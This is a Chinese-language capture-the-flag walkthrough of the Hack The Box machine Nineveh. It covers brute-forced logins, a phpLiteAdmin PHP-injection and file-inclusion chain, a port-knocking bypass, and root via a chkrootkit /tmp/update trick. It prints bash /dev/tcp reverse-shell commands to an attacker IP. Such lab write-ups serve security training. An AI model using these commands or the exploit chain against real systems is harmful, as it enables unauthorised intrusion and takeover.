HackTheBox-Machines--Nineveh


Nineveh测试过程

1 信息收集

NMAP 端口扫描

在这里插入图片描述

80 端口

  80端口是服务器的默认页面,无可利用功能点,源代码没有可利用的敏感信息

在这里插入图片描述

目录扫描

  

在这里插入图片描述

1.http://10.129.25.123/department

  访问/department目录跳转到登录页面,尝试暴力破解,获取到账号密码:admin 1q2w3e4r5t

在这里插入图片描述

  登录后页面显示存在 /serect文件夹、amrois用户

在这里插入图片描述

2.http://10.129.25.123/info.php

在这里插入图片描述

  

443 端口

  443端口是一张图片,无其他可利用点

在这里插入图片描述

目录扫描

  访问 /secure_notes、/server-status 目录 与 https://10.129.25.123/ 页面相同

1.https://10.129.25.123/db

在这里插入图片描述

  页面显示 phpLiteAdmin v1.9 ,可以搜索其相关漏洞

在这里插入图片描述

  1.9.3 版本存在一个远程命令执行漏洞,攻击者可以创建一个带有php扩展名的sqlite数据库,并将php代码作为文本字段插入。完成后,攻击者可以通过使用web浏览器访问数据库文件来执行它。

在这里插入图片描述

暴力破解

  创建sqllite数据库需要登录https://10.129.25.123/db,尝试进行暴力破解

在这里插入图片描述

  使用hydra工具进行暴力破解,登录页面需要猜解password字段,用户名可以随意指定,爆破密码 password123


2 phpLiteAdmin 1.9.3 版本远程命令执行漏洞

  1. 创建一个 .php 结尾的数据库

在这里插入图片描述

  1. 将php代码作为文本字段插入

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  1. 访问 /var/tmp/test.php

  但是出现了一个问题:如何访问 /car/tmp/test.php

在这里插入图片描述

在这里插入图片描述

  在Notes按钮,发现 http://10.129.25.123/department/manage.php?notes=files/ninevehNotes.txt 路径;

  http://10.129.25.123/department/manage.php?notes=/var/tmp/txt.php&cmd=ls 执行失败

  1. 测试

  在通过文件包含执行我们的数据库文件时,LFI 需要名称 ninevehNotes,重新将数据库名称更改为 ninevehNotes.php

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

http://10.129.25.123/department/manage.php?notes=/ninevehNotes/../var/tmp/ninevehNote.php&cmd=id 执行成功

在这里插入图片描述

  1. 反弹shell
bash -c 'bash -i >& /dev/tcp/10.10.14.25/4444 0>&1 &'

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述


3 横向移动

www-data 到 amrois

  之前访问 /department 发现存在一个用户 amrois,查看 /etc/passwd 进行确定

在这里插入图片描述

  查找 amrois 可访问的文件

find / -user amrois \( -readable -o -writable \) 2>/dev/null

在这里插入图片描述

  在文件中查找 amrois,并在 /var/www 目录中发现 nineveh.png

cd /var/www
grep -lir amrois . 2>/dev/null

在这里插入图片描述

  将 nineveh.png 文件下载到本地进行查看

在这里插入图片描述

  使用 strings 命令查找可打印的字符串,发现 amrois 用户以及一个 SSH 密钥,猜测此密钥为用户amrois私钥

在这里插入图片描述

在这里插入图片描述

  但是使用私钥进行ssh访问时失败

端口敲击

  查找 ssh登录 失败原因

  查看进程:

www-data@nineveh:/tmp$ ps aux
ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      1315  0.7  0.3   8756  3860 ?        Ss   02:45   8:03 /usr/sbin/knockd -d -i ens160

  knockd 是一个用于端口敲击的守护进程,当某些端口被按顺序敲击时,将设置某些防火墙规则。

  查看 knockd 配置文件 ``
在这里插入图片描述
在这里插入图片描述

  配置文件显示:5秒内通过输入 571、290、911 和 syns 来打开 SSH,这样做之后,它会添加一条防火墙规则以允许 我的IP 访问端口 22。

  使用如下命令,循环遍历三个端口:

for x in 571 290 911 22;do nmap -Pn --max-retries 0 -p $x 10.129.25.123; done
(base) gryphon@wsdl Demo %for x in 571 290 911 22;do nmap -Pn --max-retries 0 -p $x 10.129.25.123; done
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Warning: 10.129.25.123 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.129.25.123
Host is up.

PORT    STATE    SERVICE
571/tcp filtered umeter

Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Warning: 10.129.25.123 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.129.25.123
Host is up.

PORT    STATE    SERVICE
290/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Warning: 10.129.25.123 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.129.25.123
Host is up.

PORT    STATE    SERVICE
911/tcp filtered xact-backup

Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Nmap scan report for 10.129.25.123
Host is up (0.43s latency).

PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds

  ssh登录成功

在这里插入图片描述


4 权限提升

  使用 pspy 工具对服务器进行信息收集

在这里插入图片描述

在这里插入图片描述

  发现 chkrookit, 0.50 之前的 chkrootkit 将运行任何以 root 命名的/tmp/update可执行文件,从而进行权限提升。

在这里插入图片描述

amrois@nineveh:/tmp$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.25/4444 0>&1'
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.225/4444 0>&1
amrois@nineveh:/tmp$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.25/4444 0>&1' > update
amrois@nineveh:/tmp$ chmod +x update

  执行监听,下次chkroot运行时,得到一个 shell

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/666127.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

系统架构设计师【第5章】: 软件工程基础知识 (核心总结)

文章目录 5.1 软件工程5.1.1 软件工程定义5.1.2 软件过程模型5.1.3 敏捷模型5.1.4 统一过程模型(RUP)5.1.5 软件能力成熟度模型 5.2 需求工程5.2.1 需求获取5.2.2 需求变更5.2.3 需求追踪 5.3 系统分析与设计5.3.1 结构化方法5.3.2 面向对象…

stm32启动文件

启动文件由汇编编写,是系统上电复位后第一个执行的程序。主要做了以下工作: 初始化堆栈指针SP_initial_sp 初始化PC指针Reset_Handler 初始化中断向量表 配置系统时钟 调用C库函数_main初始化用户堆栈,从而最终调用main函数去到C的世界 …

虚拟现实环境下的远程教育和智能评估系统(七)

在后端代码的基础上,利用vue框架设计前端界面,至此,用户界面基本成型,后续添加其他进阶功能; 另,前后端交互相关: UsersVO.java package com.roncoo.education.user.feign.interfaces.vo;impor…

【Unity Shader入门精要 第11章】让画面动起来(一)

1. Unity Shader中的时间变量 Shader控制这物体的显示,当向Shader中引入时间变量后,就可以让物体的显示效果随时间发生变化,以实现动画效果。 Unity中常见的时间变量如下表: 变量类型描述_Timefloat4(t/20, t, 2t, 3t)&#xf…

二维数组传参时不用二级指针接收

先放结论: 1. 二维数组数组名指向的类型是 int [x] 类型,int** 指针指向类型是 int* ,如果用二级指针接收会导致访问错误,因为 int [x] 类型和 int* 类型不同。 2. 指向什么类型的指针1就按照该类型的字节数1移动。 最近在学…

unity2D跑酷游戏

项目成果 项目网盘 导入资源包 放入Assets文件Assets资源文件 游戏流程分析 摄像机size调小,让图片占满屏幕 人跑本质,相对运动,图片无限向右滚动 图片720,缩小100倍第二个图片x为7.2每unit px100两张图片刚好挨着连贯 空对象Bg…

Cloudflare的增长正在放缓,股价过高,未来将进一步下跌

来源:猛兽财经 作者:猛兽财经 一、Cloudflare公司介绍 1.1、Cloudflare(NET)是一家全球性云平台,总部位于美国旧金山,在英国伦敦亦设有办事处。 Cloudflare以向客户提供网站安全管理、性能优化及相关的技术支持为主要业务。通过基…

职场中,那些35岁以上的测试猿到底去哪了?

🔥 交流讨论:欢迎加入我们一起学习! 🔥 资源分享:耗时200小时精选的「软件测试」资料包 🔥 教程推荐:火遍全网的《软件测试》教程 📢欢迎点赞 👍 收藏 ⭐留言 &#x1…

收银系统源码--商超水果生鲜店收银硬件要怎么选择?

新零售时代,越来越多的商家开始明白,除了要做好店铺定位、店面装潢和商品的设定,还要选购最适合店铺运营需求的收银机和硬件,好的收银机和收银系统可以帮助商家做好收支统计、库存管理、人员配置。客户服务等工作。现在的智能收银…

解决bind error: Address already in use

是端口复用问题 产生原因 程序突然退出系统但是没有释放端口 问题解决 首先通过 //显示进程信息 ps -la //杀死相关进程 kill -9 xxxx然后添加socket设置 int on1; if(setsockopt(lfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on))<0){perror("setsockopt")…

RocketMQ学习(2) 深入学习

RokcetMQ的介绍和基础知识见这篇博客——RocketMQ学习(1) 快速入门 本篇为上一篇的深入学习&#xff0c;很多基础知识不再赘述。 目录 消息重复消费问题(去重;幂等)布隆过滤器 重试机制死信消息 SpringBoot集成RocketMQ集成SpringBoot发送不同消息模式(同步消息)异步消息单向消…

Kafka系列之高频面试题

基础 简介 特点&#xff1a; 高吞吐、低延迟&#xff1a;kafka每秒可以处理几十万条消息&#xff0c;延迟最低只有几毫秒&#xff0c;每个Topic可以分多个Partition&#xff0c;Consumer Group对Partition进行Consumer操作可扩展性&#xff1a;Kafka集群支持热扩展持久性、可…

OFA one-for-all 通用多模态预训练模型

使用简单的序列到序列的学习框架 统一模态 &#xff08;跨模态、视觉、语言等模态&#xff09;和任务&#xff08;如图片生成、视觉定位、图片描述、图片分类、文本生成等&#xff09; ICML 2022&#xff1a; 《OFA: Unifying Architectures, Tasks, and Modalities Through a…

2024最新 Jenkins + Docker 实战教程(六)- Jenkins配置邮箱接收构建通知

&#x1f604; 19年之后由于某些原因断更了三年&#xff0c;23年重新扬帆起航&#xff0c;推出更多优质博文&#xff0c;希望大家多多支持&#xff5e; &#x1f337; 古之立大事者&#xff0c;不惟有超世之才&#xff0c;亦必有坚忍不拔之志 &#x1f390; 个人CSND主页——Mi…

Redis常用命令大全

目录 1、五大数据类型的基本命令 1.1 字符串 1.2 列表 1.3 哈希 1.4 集合 1.5 有序集合 2、与key相关 2.1 查看redis数据的类型 2.2 查看当前redis库中的所有key命令 3、除了五大数据类型外常见命令 3.1 键操作 3.2 服务器操作 3.3 连接操作 3.4 发布/订阅 3.5 事…

vue canvas绘制信令图二、

需求:根据信令图标题的每2个区域之间有无内容来给宽度,无内容区域的间隔要小一些。有内容区域的间隔大一些。 先上效果图: 从上面的效果图可以看出无内容区域的间隔宽度变小了很多。 1、先设置一个最先间隔的宽度:minGapX: 200, 2、然后设置一个 存放有计算后的间隔数据:…

【爱空间_登录安全分析报告】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造成亏损无底洞 …

尝试用智谱机器人+知识库,制作pytorch测试用例生成器

尝试用智谱机器人知识库,制作pytorch测试用例生成器 1 保存pytorch算子文档到txt2 创建知识库3 创建聊天机器人4 测试效果5 分享 背景:是否能将API的接口文档和sample放到RAG知识库,让LLM编写API相关的程序呢 小结:当前的实验效果并不理想,可以生成代码,但几乎都存在BUG 1 保存…

SpringCloud Feign用法

1.在目标应用的启动类上添加开启远程fein调用注解&#xff1a; 2.添加一个feign调用的interface FeignClient("gulimall-coupon") public interface CouponFeignService {PostMapping("/coupon/spubounds/save")R save(RequestBody SpuBondTo spuBounds);…

数据结构的快速排序(c语言版)

一.快速排序的概念 1.快排的基本概念 快速排序是一种常用的排序算法,它是基于分治策略的一种高效排序算法。它的基本思想如下: 从数列中挑出一个元素作为基准(pivot)。将所有小于基准值的元素放在基准前面,所有大于基准值的元素放在基准后面。这个过程称为分区(partition)操作…